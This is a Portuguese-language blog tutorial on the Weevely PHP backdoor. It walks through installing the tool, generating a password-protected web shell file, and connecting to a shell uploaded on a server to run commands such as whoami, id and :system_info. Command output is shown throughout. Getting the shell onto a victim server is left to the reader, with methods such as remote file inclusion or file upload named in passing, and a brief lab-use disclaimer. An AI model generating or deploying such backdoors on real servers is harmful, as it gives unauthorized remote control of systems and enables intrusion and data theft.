O Weevely é um poderoso backdoor em PHP que possui um cliente Python muito fácil entendimento e manipulação. Mas primeiramente, pra que server um backdoor?
Um backdoor, como próprio nome diz, é um método que te permite ter acesso remoto a uma vitima por meio de uma porta não convencional, por exemplo: Sockets, Shell Reversas, Shells upadas e etc. Neste caso, o Weevely cria um arquivo que quando acessado pelo cliente com a senha, nos permite emular uma simples shell dentro do computador da vítima. Como você vai upar fica a seu critério dentro do seu laboratório, lembrando que não nos responsabilizamos pelo uso incorreto das ferramentas que abordamos aqui.
Download e Dependências do Weevely
# git clone https://github.com/epinna/weevely3.git
# cd weevely3/
Instalando as dependências:
# g++ python-pip libyaml-dev python-dev pip
# pip install prettytable Mako pyaml dateutils readline PySocks --upgrade
Vamos dar uma olhada nas opções do Weevely:
root@fidelis:~/weevely3# ./weevely.py
[+] weevely 3.2.0
[!] Error: too few arguments
[+] Run terminal to the target
weevely <URL> <password> [cmd]
[+] Load session file
weevely session <path> [cmd]
[+] Generate backdoor agent
weevely generate <password> <path>
root@fidelis:~/weevely3#
Kali 2.0 e Debian 8: Baixando e Instalando a versão Current do PySocks
# wget https://pypi.python.org/packages/source/P/PySocks/PySocks-1.5.6.tar.gz#md5=c825c7c52b2c79dde73cac8d04bd25cb
# tar xvf PySocks-1.5.6.tar.gz
# chmod 777 PySocks-1.5.6 -R
# cd PySocks-1.5.6/
# ./setup.py build
# ./setup.py install
Gerando uma Backdoor:
# weevely generate suasenha /caminho/para/o/arquivo.php
root@fidelis:~/weevely3# ./weevely.py generate nanoshots /home/matheus/shell.php
Generated backdoor with password 'nanoshots' in '/home/matheus/shell.php' of 1479 byte size.
root@fidelis:~/weevely3#
Acessando a Backdoor
Supondo que você já tenha encontrado um meio de upar a Shell em um servidor, seja por remote file inclusion, SCP, SSH, File Upload ou qualquer outro tipo, vou deixar essa parte por sua conta e abordar esse procedimento em outro post. Portanto, agora vamos acessar nossa backdoor upada em nosso servidor. # ./weevely.py http:/urldoservidor/arquivo.php suasenha
root@fidelis:~/weevely3# ./weevely.py http://testserver.nanoshots.com.br/secure.php nanoshotspasswd
[+] weevely 3.2.0
[+] Target: www-data@localhost:/var/www/testserver
[+] Session: /root/.weevely/sessions/testserver.nanoshots.com.br/secure_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> whoami
www-data
www-data@localhost:/var/www/testserver $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),100(users)
www-data@localhost:/var/www/testserver $
Utilitários auxiliares
O Weevely por mais que mantenha uma sessão entre você e o servidor quando a conexão é efetuada, ainda ela não é uma shell verdadeira dentro do sistema, portanto ela possui alguns recursos nativos que podem te ajudar e emular uma navegação em Shell dentro do serverPara utilizar qualquer um desses utilitários basta executar :comando, ex: :system_info
www-data@localhost:/var $ :system_info
+--------------------+--------------------------------------------------------------------+
| client_ip | 123.123.132.123
| max_execution_time | 30
| script | /secure.php
| open_basedir |
| hostname | localhost
| php_self | /secure.php
| script_folder | /var/www/testserver
| uname | Linux localhost 3.2.0-4-amd64 #1 SMP Debian 3.2.65-1+deb7u2 x86_64
| pwd | /var
| safe_mode | False
| php_version | 5.6.14-1~dotdeb+zts+7.1
| dir_sep | /
| os | Linux
| whoami | www-data
| document_root | /var/www/testlink
+--------------------+--------------------------------------------------------------------+
www-data@localhost:/var $
Nenhum comentário